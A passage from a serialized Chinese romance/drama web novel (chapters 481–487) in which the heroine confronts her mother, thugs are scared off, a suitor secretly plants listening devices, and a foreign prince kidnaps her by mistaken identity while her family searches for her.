姜花衫皱眉,抬腿挣脱她的束缚,“以后不要叫我姐姐,我没有开玩笑。” …… 第481章 听说你当老鸨了 风筝在天上相互追逐,树叶在微风里沙沙作响。 沈归灵坐在车里看战舰模型图,阳光透过玻璃落在他的侧脸,斧凿刀刻般的轮廓线隐隐透着光。 雷行时不时往公园门口张望,待看见姜花衫和姜晚意一前一后出了大门,立马坐直身体,“少爷,姜小姐回来了。” 沈归灵刚抬头姜花衫便拉开车门坐了上来,他扫了一眼,见她眼尾微微上扬,便知是谈的很好,收了手机,很是自然问道,“去哪?” 姜晚意扣上安全带,小心翼翼看向后视镜,镜子里沈归灵偏头询问姜花衫的时候,连半边身子都侧了过去。 姜花衫想了想,“去翡翠山庄。” 姜晚意眸光微怔,翡翠山庄是她和方眉现在住的地方,难不成姜花衫要亲自送她回家? 但这个时候,她也不敢多问,偷偷又瞄了镜子一眼便低着头没再说话。 因着车里多了一个外人,沈归灵也没有开启话题,拿出手机继续研究护卫舰模型。 姜花衫懒劲又上来,无精打采打了个哈欠,昏昏沉沉进入睡眠模式。 一时间,车里异常安静。 姜晚意也不知道自己是怎么了,忽然浑身不自在,总是控制不住偷偷望向后视镜,她的动作过于频繁,连雷行都察觉到了不对劲,但沈归灵一直沉浸在自己的世界中,一点儿反应都没有。 姜晚意隐隐有些失望,但见他这么专注又不自觉被吸引。 姜花衫耷拉着眼皮,脖子跟上了弹簧似的扭来扭去,最后一下肩膀意外,头对着椅子侧面砸了下去。 沈归灵一心二用,眼皮都没抬抬手托住了她的侧脸。 姜晚意正好抬眸,这一幕映进了镜子里恰巧被她撞了个正着。 “!” 姜晚意有些错愣,没等她反应过来,沈归灵放下了手机,侧身扶正姜花衫的脖子,顺手将坐椅调成舒服的躺卧模式。 他的每个动作都很轻,似乎很怕吵醒她。 姜晚意一下懵了,盯着镜子里的两人久久没有眨眼。 忽然,一只手横空出世,强势将反光镜扭向驾驶座,姜晚意如梦惊醒,略有忌惮看了雷行一眼,低着头不敢说话。 雷行面上不显,实则心里一万只崩溃小人在咆哮,发现了发现了!少爷的背德之路暴露了!怎么办?怎么办!? 少爷会不会被浸猪笼? 越想心里越慌,雷行眉头紧蹙,方向盘上全是心虚的汗水。 姜晚意小心瞟了雷行一眼,见他凶神恶煞气压低沉,满以为是自己的偷窥行为惹怒了这位管家,登时不敢再造次。 半个小时后,到达翡翠山庄。 姜晚意解下安全带,犹豫片刻回身看向后座,见姜花衫还没醒,欲言又止看向沈归灵,“阿灵哥,我不敢一个人上去。” 沈归灵转身,拍了拍姜花衫的脸。 姜晚意的眼神怪异,意味不明打量沈归灵,这是不是也太亲近了? 姜花衫幽幽转醒,正想发火,突然想起还有正事没做,捂着头慢慢坐了起来,见姜晚意脸色奇怪,皱眉看了沈归灵一眼,“怎么了?” 沈归灵摇头,“到了。” 姜花衫伸了伸懒腰,推门下车。 沈归灵想了想,吩咐雷行在车里等,转身跟下了车。 姜花衫皱眉,“你跟着我做什么?” 沈归灵,“许久没见阿姨了,既然来了,顺便打个招呼。” 打个招呼?有什么好招呼的? 姜晚意跟着下车,“姐……人多热闹,一起吧。” 姜花衫眸光微动,目光在姜晚意和沈归灵之间游离了一曲,“行吧。” 上一世方眉不惜与她决裂也要公开站队二房,姜晚意宁愿做小也要跟着沈归灵,若剧目不可逆,他们应该会二搭,若真是这样,正好可以借机搞清楚上一世姜晚意和沈归灵的故事线是什么? …… 第482章 上门警告 这话已经不能算是难听了,简直就是往人头上倒屎。 沈归灵默默看了姜花衫一眼,他早猜到祸坨子上门是要找不痛快的,跟着来不过是怕她太过分激怒方眉,但她骂的这么难听,就算爷爷在这估计也逃不了一顿打。 姜晚意也是一脸懵逼,目瞪口呆看着姜花衫,原以为她只是对外人狠,没想到对亲生母亲也这么不客气。 方眉好不容易压住的火蹭得一下烧到了头顶。 “姜花衫,你眼里还有没有我这个母亲?!” 姜花衫摊手,“很显然,没有。” 方眉脸色阴沉,指着大门,“出去!这里不欢迎你。” 姜晚意有些紧张小心翼翼观察姜花衫的反应,这个时候姜花衫要是走了,倒霉的就是她了。 姜花衫冷哼了一声,一脸悠哉靠着沙发,“别急呀,我话还没说完,等说完了我自然会走。” 方眉,“我不想听,你现在就出去。”不用想也知道这死丫头嘴里没一句好话。 姜花衫摇头,“没有你想不想。方眉,马场的事情我不希望再有第二次。” 这话一出,在场所有人都愣住了。 归灵侧头,略有不解看着她,竟然直呼自己母亲的名讳,这是装都不装了,方眉到底做了什么? 方眉一下没反应过来,怔愣看着姜花衫,“你……你说什么?” 之前不管她们闹的多难看,姜花衫起码也会叫她一声妈妈,现在直接叫名字是什么意思? 蓦地,方眉想起了一些被自己忽视的细节,这次她重新回来鲸港后,姜花衫好像一次都没叫过她。之前没细想是因为她压根不在意姜花衫,但现在看来,其实那个时候问题就已经出现了。 姜花衫,“这里是鲸港,你在这里讨饭影响到我了,我说的还不够明白吗?” “……”沈归灵垂眸,假装没有听见。 方眉前面的怒火还没平息,又被后面的话刺得差点上头吐血,“你说什么?我真是白养你了,这种话你怎么说得出口?!” 姜花衫皱眉,“你敢做我有什么不敢说的?我今天来的理由很简单,就是想警告你,要么离开鲸港,你们想做什么我都不拦着,但如果非要留在鲸港,任何跟要饭挂钩的事情都不许做,不然别怪我对你们不客气。” 方眉看了沈归灵一眼,咬牙维持体面,“说到底,你只是担心有我这么个母亲会让你丢脸?” 姜花衫一脸无辜,“这不是事实吗?” 方眉哑然失笑,低头抹了抹眼角,“你怎么会变成这样?我和意意为什么回鲸港?难道不是为了我们一家能团聚吗?你有什么资格指责我丢脸要饭?我原本可以幸福的,是你破坏了我的订婚宴!你已经毁了我的婚姻,现在又想要毁了意意的人生吗?” “你根本不懂我的用心良苦,你现在在沈家,吃穿不愁,但意意跟你不一样,我如果不帮她删选张罗,她未来只能过那种一眼到头平淡地不能再平淡的人生。我真是不明白,事情都已经过去这么久了,为什么你始终不肯原谅意意?她明明可以有很好的人生,你却非要让她处处不如你?” 不愧是母系PUA大师,给姜晚意洗脑的同时还不忘踩她一脚。 姜花衫挑眉,摊手,“这样啊?那真是对不起了,实在是那个老男人太难看了,一想到这种人拐着弯地跟我有关联,我这心里就止不住的恶心。你都说了回来是为了我,既然是为了我,那你牺牲了自己的婚姻应该感到开心啊,因为这才是我想看到的。” “至于姜晚意,你说对了,我不喜欢她顶着姜花衫妹妹的头衔在外面供人取乐,因为这样会顺带拉低我的身份,会让我被人嗤笑的。” 方眉愣了愣,不敢相信看着眼前的少女,她竟然能把这么恶毒的话说的如此理直气壮,豪门选媳妇不光看家世,品德也很重要,今天这话一旦传出去就算有沈家门楣撑着,她一个养女也别想嫁的多好。 气氛正胶着,忽然门口传来一阵嘈杂声,没一会儿五六个高个儿大汉手里拿着铁棍大摇大摆走了进来。 带头的往客厅扫了一眼,挥手一棍子敲碎了玄关的镜子,“这是方眉的家吗?谁是方眉啊?” 方眉和姜晚意脸色惊变,尤其是姜晚意,她就站在门口,镜子飞溅险些砸到了她,回过神后拔腿跑到了沈归灵身后。 “问你们话了?都他妈哑巴了?” 男人顶着寸头,脸上还有一块刀疤,眼神环顾一圈指着方眉,“这儿就你一个老娘们,你是方眉?” “啊!”方眉吓了一跳,要不是她躲得及时,刚刚那一棍就招呼到脸上了。 一想到姜花衫还在,方眉强行让自己保持冷静,小心翼翼看着眼前的凶徒,“你……你们是什么人?想干什么?” 男人觑眼打量了一番,转头看向沙发上的两人,目光最终落在沈归灵身上。 他是这里面唯一可能具有威胁的男性,所以理所当然受到了关注,但又因为沈归灵那张脸太张扬,男人下意识把他归类到了是软饭的娘炮一类,态度嚣张提着铁棒一一点过,“你别管我们是什么人,今天哥几个来意思很明显了?要胳膊要腿,你自己选。” 方眉哪遇见过这种阵仗,脸色刷地一下惨白,想也没想扑身拽着姜花衫的手,“衫衫,救救我,救救我。” 男人一脸邪笑,盯着姜花衫的脸一动不动,“你就是姜晚意?” 上头特意交代,让他们好好跟姜晚意玩,没想到竟然捡了这么大的便宜。 姜晚意看出了男人眼里的恶意,吓得连连后退,唯恐被她发现她才是正主。 沈归灵指尖轻点膝盖,微微抬眸看着寸头男。 姜花衫面无表情抽回手,“我是姜花衫,你老板没告诉你遇见我要躲远点吗?” …… 第483章 我在意 姜花衫? 江湖上没听过这号人物啊? 也姓姜? 男人挑眉,眼神愈发邪肆,“哟?小妹妹口气挺狂的?看来是还没搞清楚状况?哥几个还不动手,让小妹妹学学规矩。” 姜花衫扯着嘴角笑了笑,“要不你打个电话问问傅文博,看看我缺什么规矩?” 男人脸色微变,他们从头到尾都没有提过傅少爷的名字,这小丫头是怎么知道的。男人顿时有了警惕,收敛神情,“你……你什么人?怎么会认识傅少爷?” 姜花衫,“我不认识,就单纯打过他。” “……” 放屁! 人家傅少爷是什么人?哪能被一个小丫头片子教训? 男人下意识想反驳,但看姜花衫这松弛的状态心里又开始打鼓,在道上混,大人物他也见过不少,眼前两人的气场与寻常人大不一样。一开始是因为他们的脸过度惹眼才起了轻视之心,但现在越来底气越不足,不会真踢到铁板了吧? 出来混,命最重要。 寸头男犹豫转身拨通了傅文博的电话。 “解决了?”傅文博的声音又阴又冷。 寸头回头看了姜花衫一眼,压低声音,“老板,这里多了两个人。” 傅文博顿时火冒三丈,“你他妈是个废物吗?多两个人就干不动了?” 寸头男脸色尴尬,“她说它叫姜花衫。” 傅文博,“……” 怎么不说话了? 寸头男一脸困惑,“老板,一块弄死吗?” 傅文博,“草!谁他妈是你老板?” 话落,电话里传来一阵忙音。 “……” 寸头男眼皮直跳,低头咽了咽嗓子。 “我想起来了!” 其中一个烫着方便面卷的小弟突然惊呼,指着沈归灵,忽然意识到什么立马收回手,“老大,这人好像是双将星。” 傅文博的态度已经说明了一切,此时小弟又跑出来指认,寸头男头都麻了,“什……什么双将星。” 小弟捂着嘴,“上电视那个南湾英雄,最年轻的一星上尉,沈家少爷。” “呃!!” 光头男吓得出了鹅叫,三个断句,每一句都是要命的程度。 真他么踢到铁板了。 光头男立马把铁棍扔给小弟,鞠躬哈腰赔笑,“误会!误会!” 姜花衫,“滚出去等着,我先来的,要警告也是我先。” “是是是!啊?”寸头男一头雾水,反应过来立马招呼小弟退出房间,一群人老老实实贴墙站在电梯过道。 方眉捂着心口,到现在还心惊胆颤,她都不敢想象,要不是姜花衫今天在场,她的下场会有多凄凉。 “衫衫啊,你可不能不管我们啊?” 姜晚意绕过沙发,神色紧张,“是啊姐姐,这群人不是善茬,万一你走了他们以后还来,我们该怎么办?” 姜花衫,“那正好,你们离开鲸港吧,早说了,这里不适合你们讨饭。” “不行。”方眉想也没想直接拒绝。 姜花衫起身,“那就恕我爱莫能助了,对了!我说的警告你最好上点心,要让我发现你们两个又做出什么有损我颜面的事,别怪我翻脸无情,你们也看到了,我对你们,没什么耐心的。” “衫衫……” 方眉难以置信看着她,“你真能眼睁睁看着我和意意被人欺辱?” 姜花衫,“那不是顺手的事?好了,我说完了,走了。” 姜晚意神情绝望瘫倒在地,泫然欲泣看着沈归灵,试图激起他的一点保护欲。沈归灵神色淡淡,十分有礼貌冲两人点了点头,起身跟在姜花衫身后。 两人走到门口,寸头男和一众小弟立马站直身体。 “衫姐。” 姜花衫挑眉,“谁是你姐?你这么老,别乱叫。” “是是是。”寸头男谨小慎微应和,“今天使我们有眼不识泰山冲撞了您,还请您大人有打量不要跟我们一般见识。” 姜花衫摆摆手,“行了,我已经警告完了,你可以进去了。” 说罢,转身向电梯走去。 “这?”寸头男愣了愣,莫名其妙抓了抓头,这特么是什么意思? 小弟立马地上铁棍,“老大?还砸不?” 寸头男往门里看了一眼,提起铁棍,“都他妈给我听清楚了,待会儿进去,看我脸色行事!” * 进了电梯,沈归灵顺手按下负一楼,姜花衫抬眼看了他一眼,刚刚在里面,沈归灵全程没有说一句话,哪怕她对方眉说了那么恶毒的话,他也没有一点反应。 到底跟过来干什么? 姜花衫一时没忍住,问出了心里话,“你好像一点都不在意我对她们有多恶毒?” 沈归灵抬眸,与她对视,“我在意。” 姜花衫愣了愣,明明是自己问的问题,但却好像听不懂回答。 沈归灵深看了她一眼,拉住她的手,将手里的微型耳机推进她的掌心。 姜花衫眼神更困惑了,不解看着他,“这是什么?” 沈归灵,“监视器。刚刚进屋的时候我在门口放了一个,后来那群人进来闹事,趁他们不注意又在客厅沙发藏了一个。” 监视器? 姜花衫突然明白过来,眼睛放光看着沈归灵,“你怎么知道我想干什么?” 沈归灵抬了抬眉梢,故作风轻云淡,“你花几千万包养男人,拉拢姜晚意不就是为了监视你母亲?姜晚意的确是个适合的眼线,但她心思不纯不可尽信,防人之心不可无。” 姜花衫睨了他一眼,翘着嘴角,收手将耳机牢牢攥在掌心。 “行吧,这次就不反驳你了。” 沈归灵笑了笑。 “叮——” 电梯到达,轿厢门缓缓打开,沈归灵顺手抵着门,“接下来去哪?” 姜花衫想了想,“去南湾。” 雷行已经把车开到了电梯出口,计划顺利,姜花衫心情大好,笨笨跳跳上车。 沈归灵看了看时间,给沈庄发了一条会晚点回家的消息才上车。 南湾距离鲸港大概两个小时的车程,姜花衫无聊,索性研究起了手里的耳机。沈归灵见她有兴趣,放下模型图,“监视器有图像功能,你把手机给我,我授权给你。” 姜花衫立马掏出手机递给他。 沈归灵简单操作了一番,递回手机,顺手撩起她耳边的碎发,将调试好的耳机塞进耳洞里。 “有声音吗?” 他偏着头,温热的气息轻轻拂过耳侧,酥酥麻麻。 …… 第484章 失踪了 好痒。 这气息就像春季复苏的蔓藤缠绕着一根根末梢神经直达头皮深层。 姜花衫不自觉扭动脖子,不想转眸间直接撞进了一湾深潭,滟潋的暗涌一下把她吸了进去。 这一瞬间,她明显感觉到了皮下的血液在快速流窜,莫名其妙地,耳侧轮廓染上了一层绯色。 “……” 空气里好像酝酿了某种绵化不开潮气。 沈归灵低垂着眸光,身体稍稍前倾,又靠近了一点,“有声音……” 话没说完,雷行突然双手交叉,方向盘九十度急转。 “吧唧——” 转瞬间,空气里拉丝的暧昧被暴力撕碎,沈归灵直接飞出二里地,帅气的侧脸狠狠撞上车窗压成了饼状。 “……” 沈归灵先是沉默,慢慢坐直身体后,面无表情看着后视镜。 雷行极为心虚,瞟了一眼赶紧道歉,“对不住啊少爷,刚刚那个弯我拐得太急了。” 嘴上虽然这么说,但心里还是如释重负度松了口气,就刚刚那气氛,但凡他多犹豫一秒都是对少爷的不忠,他决不能看着少爷越陷越深。 沈归灵收回目光,几度调整好坐姿,若无其事看向姜花衫,“没事吧?” 姜花衫神色略有些不自然,刚刚那一撞把她撞清醒了。 不是! 刚刚这狗东西…… 是在钓她? 意识到这点,姜花衫全身的血液突然沸腾起来,倒反天罡!99鱼要造反了?! 耳尖的灼烧感还留有余温,姜花衫被激起了胜负欲,正准备摘了耳机,姜晚意的哭声冷不丁钻进了耳膜。 她一愣,停止了动作。 沈归灵见状,便也没有再开口。 “妈妈,我们怎么办?” “闭嘴,哭哭哭,就知道哭?现在哭有什么用?哭能解决问题吗?” 或许是没有人看着,方眉的声音又冷又阴沉。 “我问你,你和那死丫头到底怎么回事?你该不会和她联合起来想背叛我吧?” “我没有。她救我也不过是怕我连累她。” “没有最好。行了,你收拾一下,这段时间先不要去学校了。” “妈妈,现在怎么办?我们得罪了白家和傅家,以后只怕没有活路走了。” “这事我会处理,其余的不用你操心。不是我说,意意你也该长长心了,成事不足败事有余,你要像那死丫头一样争气点,我哪至于去别人面前伏低做小?” 很快,两人结束了谈话,耳机里的传音中断了。 姜花衫取下耳机,正要说话,手机屏幕弹出一则消息。 -【意意不是小可爱:那伙人撂下狠话就走了,现在方眉在房间里打电话,她应该会向沈家那位求助。】 -【你说过只要我找到幕后之人就会帮我离开方眉的,你不能骗我。】 姜花衫指尖动了动,直接把对话删除。 忽然又想起什么,她挑眉看了沈归灵一眼,又默默收回目光。 算了,监视器一事算他有功,钓鱼的事就暂时不跟他计较了。 沈归灵单从姜花衫调整坐姿的动作,就察觉到了她的情绪转变,低头看了看时间,“这个点到南湾估计天都黑了,你还要去学校吗?” 如果要去学校,今晚只能在南湾住一晚,明天再回。如果不去学校,取了画今晚就可以回。 姜花衫想了想,“要去。” 沈归点头,碍于车里还有个程咬金,他没再开口,专心致志研究起了军舰模型。 姜花衫无所事事,盯着窗外的风景又开始犯困。 车里的气氛一时融洽到了极点。 一个小时后。 车辆稳稳停在了鲸港美术学院正门口。 “少爷,姜小姐,学校到了。” 沈归灵愣了愣,有些不确信看向窗外,直到看见鲸港美院的百年牌匾才又看了看时间。 此时距离学院放学还有半个小时,他们提前到了。 “……”沈归灵放下手机,情绪不显看着雷行。 雷行暗暗舒了一口气,好险,差点就要让少爷和姜小姐在南湾过二人世界了,不枉费他一路狂踩油门,高速飚车,终于还是赶到了。 姜花衫揉了揉眼睛,往窗外看了一眼瞬间惊醒,“这么快?” 雷行憨憨笑了笑,“是啊,今天路况很好。” 姜花衫也没多想,“行了,我先去见系主任,这车太惹眼了,前面有个路口,你们在那等我。” 沈归灵,“我跟你一起去?” “不用。”她摆摆手,“你现在可是名人,到时候引起骚动我以后在学校还怎么保持低调?放心,我很快的。” 沈归灵见状,也不便再强求,点了点头,“有事打电话。” “知道了。”姜花衫应下后,头也不回下了车, 雷行小心观察沈归灵,见他脸上没什么情绪,稍稍心安了一点。 正准备开车,沈归灵突然开口,“就在这等。” “是。”雷行立马熄火,只要无关姜花衫,他还是很尽忠职守的。 车里异常安静。 大约过了十五分钟,沈归灵抬头往窗外看了看。 又过了五分钟,打量地频率明显开始增加。 雷行看在眼里,颇有些无奈摇了摇头,这怎么得了?才分开一会儿少爷就坐立难安了,孽缘啊孽缘。 三十分钟后,下课铃声从很远的钟楼传来。 沈归灵想也没想,直接推门下车。 雷行愣了愣,赶紧下车跟了上去,“少爷,姜小姐不是让咱们在这等吗?” 此时,第一批离校的学生已经从校门口走了出来,沈归灵分外惹眼,很快吸引了一大批学生的关注。 渐渐地,人群开始骚动起来。 “那个男的好帅,是爱豆吗?” “天老爷!是双将星!卧槽!人民英雄来我们学校的。” 沈归灵大步流星走进人群,温文尔雅,“同学,请问美术系怎么走?” 近看更是颜值暴击,女生们双手捧心,热情澎湃帮着带路。 老系主任拎着茶杯,刚从办公室出来,就看见教学楼下乌泱泱挤满了人。 “今天这是怎么了?下课了还这么多人?” 没等他反应过来,一个身材高挑的年轻人突然挡住了他的视线。 “您就是郝主任?” 郝主任扶了扶老花眼镜,眼前的年轻人皮相甚是突出,眼眸间矜贵温雅。 他点头,不解问道,“你是?” 沈归灵皱眉,“您见过姜花衫吗?” 系主任一时对不上姜花衫是哪个学生,但他下午一直在忙展览的事,没约谈过学生,便摇了摇头,“没见过。” 沈归灵眼睑微挑,眉梢瞬间化作刀锋,“雷行,通知警署厅,让马温来见我。” …… 第485章 真假姜花衫 识海里的剧目之门轻轻翻动书页,绿色荧光绕着不断分支的藤蔓不停向四周伸展,荧光越来越亮,最后化作漫天星光晕成一滩光圈散落。 “叮”得一声,姜花衫猛然清醒,正要挣扎起身,才发现自己被捆住了四肢,头上还戴着一个黑色头套。 记忆渐渐回潮。 想起来了,她被绑架了,拐进美术楼的时候有人从背后迷晕了她。 谁这么大胆?竟然在南湾直接绑架她?难不成是沈家的内鬼发现了什么?所以迫不及待要对她动手了? 姜花衫竖起耳朵感受外面的环境,没有人说话,但这种颠簸的感觉应该是在车里。 不知过了多久,颠簸的感觉消失了,应是到达了目的地了。 “哗——” 车门划动的声音异常刺耳。 姜花衫闭眼,继续假装昏迷,她听见男人低声交语的声音,但因为音量很小根本没听清楚说了什么。没等她反应过来,就被人扛了起来。 世界顿时天旋地转,她差点没忍住干哕了出来,索性不过几步路就停了下来,她又被倒栽葱丢扔了一块毛绒地毯上。 “殿下,人抓来了。” 殿下? 姜花衫愣了愣,顿时无语。 男人说的不是A国话,但因为她精通多国语言,所以无障碍破解了两人的对话。 白密斜靠着沙发,手里拿了一串葡萄,状似漫不经心一边吃一边打量,见地上的人影没有一点反应,略有不满看向侍卫长,“你把她怎么了?” 侍卫脸上戴着扑克面具,一板一眼,“沈家人在门口守着,为了以防万一所以我们迷晕了她。” 白密不紧不慢啄完了一串葡萄,慢悠悠起身,走到地毯前半蹲了下来。 此时,姜花衫已经猜到了绑匪的身份,说实话,她有些失望。 白密盯着黑布打量了片刻,揭开细绳摘下了姜花衫脸上的头套。 “……” 倏尔,白无常面具下的眉毛扭成了麻花,白密骤然变脸,拿起头套砸向侍卫长,“我让你绑姜花衫,你绑了谁?” 姜花衫,“……” 侍卫长心一下悬了起来,盯着地上的少女认真打量,表情怪异,“殿下,她就是姜花衫啊。” “还敢狡辩?”白密起身踹了侍卫长一眼,“你当我不认识姜花衫吗?这哪是姜花衫?” 侍卫长顿时头大,“殿下,她真是姜花衫,不信您去看两年前的法庭审议录像。” 白密皱眉,盯着地毯上的人仔细打量,片刻后一脸嫌弃看向侍卫长,“你是不是对我发布的任务有异议,所以故意拿个假人搪塞我?信不信我让祖母解雇你?” “……”侍卫长陷入了死寂的沉默。 皇庭侍卫长可王室的颜面,原本做这种偷鸡摸狗的事就已经有违骑士精神,侍卫长思忖片刻,放弃了挣扎,“殿下,既然抓错人了,那就把人放回去吧?” 两人的交流用的都是S国的语言,但姜花衫一字不落听得清清楚楚。 看来这位S国的白王子到现在还以为绥尔才是她,这么看来,她只要继续装晕有可能会被原封不动送回去。 白密脸色不快,“把她弄醒。” 策划了这么久,结果绑错了人,这让他怎么甘心? 侍卫长一脸无语,“您不是说抓错了吗?弄醒以后万一让她察觉出什么,咱们也会有麻烦的。” 白密,“少啰嗦。” 侍卫长无奈,拿起桌上的一壶温水对着姜花衫的脸泼了过去。 “……” 姜花衫鼻子呛了一口水,没忍住咳出了声。 但演戏要演全套,她毫无察觉睁眼,待看清眼前问话的是戴在无常面积的粉毛后,低垂着眼睑故作害怕缩成一团。 “你们是什么人?为什么要绑架我?” 白密双手抱胸,盯着姜花衫的脸细细打量,“你是叫什么名字?” 姜花衫,“傅……傅绥尔。” 白密冷笑,双手抱胸看向侍卫长,“你还有什么说的?” “……”侍卫长太阳穴突突,眼看着自家主子被人当傻子忽悠硬是没办法开口。 白密转身坐回沙发,单手托腮,“傅绥尔是吧?如果我告诉你,你和姜花衫只能活一个,你会怎么选?” 姜花衫眼神惶恐不敢抬头,心里却把眼前这傻子骂了个遍。 白密皱眉,拽了个葡萄对着姜花衫的脑门丢了过去,“看来是要我替你选?” 姜花衫,“……” 白密顺手拿起桌上的手机丢到她面前,“把姜花衫骗出来,她来了,你才可以活,懂了吗?” 姜花衫,“……” * 与此同时。 鲸港大学四个校门都已经封锁,学生们被勒令全部归寝接受调查,夜幕下,满是橙光光晕的校园风声鹤唳。 螺旋桨的震动声由远及近,一连四台台直升机先后在操场降落。 沈兰晞、沈清予、沈眠枝、傅绥尔先后从直升机上跳了下来,沈庄由着沈让和沈娇搀扶落地。 沈归灵原本还在听马温汇报情况,见沈庄亲自来了,立马打断,快步迎了上去。 马温眯着眼打量,待看见为首的沈庄吓得脸色都变了,赶紧小跑跟上。 “爷爷。” 沈归灵刚开口,沈清予冷着脸质问,“这都能把人看丢,沈归灵,你干什么去了?” “行了!现在不是说这个的时候。”沈庄抬手制止,神情严肃,“阿灵,现在什么情况?” 沈归灵,“已经调取了监控,衫衫是在美术楼消失的,目前南湾警方已经在全市范围搜捕,暂时只查到了一辆无牌皮卡车。对方很谨慎,中途换行后,还特意安排了五辆同型号的车辆往不同地方去了。” 沈兰晞,“把五条线路调出来,让沈家暗卫也去找。” 马温没想到一下惊动了沈家这么多大人物,赶紧表态,“我们南湾警署厅一定全力配合。” 就在这时,傅绥尔惊呼了一声。 没等众人反应过来,她立马递上手机。 有人用姜花衫的手机给她发了一张图片,图像里,姜花衫缩在角落,发梢滴着水,凶徒拿着一把军刺刀在她脖子上比划。 “……” …… 第486章 不太聪明的白密 “咔——” 侍卫长拍完照默默递上手机。 白密接过扫一眼,转手扔给姜花衫,“你确定这么做姜花衫就会上钩?” “嗯嗯。”姜花衫十分诚恳点了点头,“姜花衫这个人最仗义了,尤其看中家族团结,她要是看见我受难一定会奋不顾身来救我的。” 这个世界上,只有一个人会把傅绥尔和姜花衫弄反,这条信息发出去后,绥尔一定能猜到是谁绑架了她? 确定了白密的身份,沈家很快就会找过来。 侍卫长欲言又止,几经挣扎还是选择了沉默。 眼下白家和沈家的关系正胶着,殿下要再闹出什么只怕不好收场,既然殿下不听劝,干脆就让他被沈家人抓回去,打一顿就老实了。 白密完全不知自己已经被两方卖了,盯着姜花衫冷笑,“她以赤子之心对你们,你们就这么对她?” 这怎么还怪上了? 姜花衫不慌不忙狡辩,“不是你说我和她只能活一个吗?这都生死存亡之际了,我没得选。” 不知怎么,白密突然就有些气不顺,连带看姜花衫也不顺眼了。 那个傻子这么护着自己的家人,可她的家人却毫无犹豫抛弃了她,简直…… 白密突然就忘记了自己的立场,骂道,“贪生怕死的小人。” 姜花衫,“……” * 另一边。 从傅绥尔拿出照片后,原本紧张的气氛顿时充满了肃杀之气。 沈庄拿过手机,只看了一眼,向来温和的眸光霎时变成了千年寒潭,叫人不寒而栗。 沈归灵转头看向傅绥尔,“你和这个绑匪接触过?他的目标是你?!” 绑匪这条消息很明显是想让绥尔顶替姜花。 傅绥尔神色复杂,“是,也不是。” 她已经猜到了绑匪的身份,白密的身份她只跟姜花衫分享过,这条消息很明显是姜花衫给她的暗示。 傅绥尔斟酌片刻,迎上沈庄的目光,“爷爷,绑匪是白家王子,白密。之前在度假山庄,他把我误认为是衫衫,现在估计又把衫衫认成了我。” “……” 众人先是一愣,继而各自琢磨起来。 白密是军政学府的学生,所以沈归灵几人并不陌生,刚入学那会,这位异国王子是个目中无人到处惹是生非的刺头,后来被教训了几次就老实了。 但没想到,所谓老实也只是假象,他竟然打起了姜花衫的主意。 沈清予最先反应过来,“照你这么说,他一开始就盯上了小花儿?” 傅绥尔点头。 沈清予脸色阴沉,“爷爷,白密不会无缘无故对衫衫动手,这其中必有隐情,当务之急是先把人找出来,白家人性格恶劣,只怕小花儿受不住委屈。” 沈归灵适时开口,“绥尔,你现在回复他,问他在哪?让他别伤害衫衫,说你现在就去找他。” “好。”傅绥尔没有犹豫,立马编辑好消息发了过去。 沈让,“这小子有心设局,只怕没这么容易交代。” 话音刚落,对方立马发来了一条定位消息。 -【记住,只能你一个人来,不然就等着给傅绥尔收尸吧。】 “……”傅绥尔嘴角抽了抽,点开定位,“在金湾海港。” 沈让的表情一言难尽,又是认错人又是自爆地址,这位白家王子怎么一副不太聪明的样子? 沈家众人万万没想到凶手这么简单就找到了,紧张的气氛顿时消弭了不少。 沈眠枝斟酌片刻看向沈庄,“爷爷,白密身后是白家,不如您先跟女王那边交涉,看看白家人是什么态度?” 这话说的很隐晦,但聪明人立马就明白了话里的另一层深意。 白密和姜花衫无冤无仇,怎么会莫名其妙盯上她?从时间线来看,白密第一次绑架姜花衫是在她鞭打白蒂娜之前,也就是说,白密此举并非为白蒂娜复仇。 除了白蒂娜,姜花衫也就跟白峥有过交集,甚至白峥的死都与姜花衫脱不了干系。 虽说当初沈庄出访S国时,双方因利益暂时放下了白峥之仇,但白峥毕竟是女王的亲儿子,难保女王不会旧事重提。 若这件事是女王授意,只怕不易善了,但若是白密私下行动,女王定会约束。 这个电话就是要看看白家人的反应。 沈庄点头,“电话要打,但搜捕行动还是不能停。兰晞,你马上联络金港警署厅,让他们立马启动卫星定位,先去海港埋伏。” “阿灵,清予也一块去,那小子还敢动刀?不管白家怎么说,抓到人先给我往死里打。” * “阿嚏!” 白密翘着二郎腿,一脸悠哉吃葡萄,冷不丁打了个喷嚏,说不上哪里怪异,若有所思看向姜花衫,“怎么样?姜花衫怎么说?” “……”姜花衫扫了侍卫长一眼,“姜花衫说,要你不要伤害我。” 白密冷嗤了一声,“还是这么天真,她怎么不担心自己的死活?” 说罢朝侍卫长招了招手,“那丫头那没这么老实,派人去外面看着,她要敢带外人过来就把这女的丢进海里喂鱼。” 侍卫长顶着一张扑克面具,眼神无光,拽着姜花衫的手里的绳索,“走吧,傅绥尔。” 姜花衫,“……” * 与此同时的白王宫。 女王单手支颐侧身坐在王座上,白迪雅捂着脸小声啜泣。 “医院那边发来的验伤报告,说是伤口发炎感染导致高烧不退,母亲,蒂娜去A国两个月不到就被打了两次,这群A国人分明是没有把我们王室放在眼里。” 白朱拉已经八十高龄,虽然发丝斑白,但浑身上下的女王气质贵气逼人。 自从白蒂娜受伤的消息传回国,白迪雅天天以泪洗脸,女王头疼不已,捏了捏眉心,“急什么?A国那边不是还没给回复吗?” 说到这,白蒂娜立马收了眼泪,递上事先准备好的文件。 “母亲,这是大使馆传来的资料,说是A国的调查结论。简直荒谬!他们污蔑蒂娜凌虐未成年人,还说她多次携枪危害A国公共治安,甚至把两次受迫害事件说成了双方斗殴……母亲,他们这是把我们白家当猴耍。” “是吗?” 女王朝手,女侍卫长立马上前接过文件,并恭敬送上鎏金放大镜。 “我看看。” 女王年事已高,拿着放大镜逐字逐句慢慢浏览,待看见末尾三个署名,眸光蓦然,缓缓道,“沈、归、灵?” …… 第487章 白家VS沈家 白迪雅听见这名字,新仇旧恨一并涌了上来。 “就是他,上次蒂娜被殴打他硬生生扭曲事实写成了互殴。听说是沈家的私生子,简直岂有此理。” 女王充耳不闻,细细端详笔录的字迹,片刻后抬头看着白迪雅,“你来是做什么的?” “……”白迪雅脸色讪讪,母亲这是又犯糊涂了,“母亲,A国人相互包庇,您可不能坐视不管。” “哪有包庇啊?上面不清楚写着吗?蒂娜在马场恶意冲撞,导致五人重伤,其中还有个没有成年的孩子。” “嗯?”白迪雅一时没有反应过来,“您……您是认真吗?” 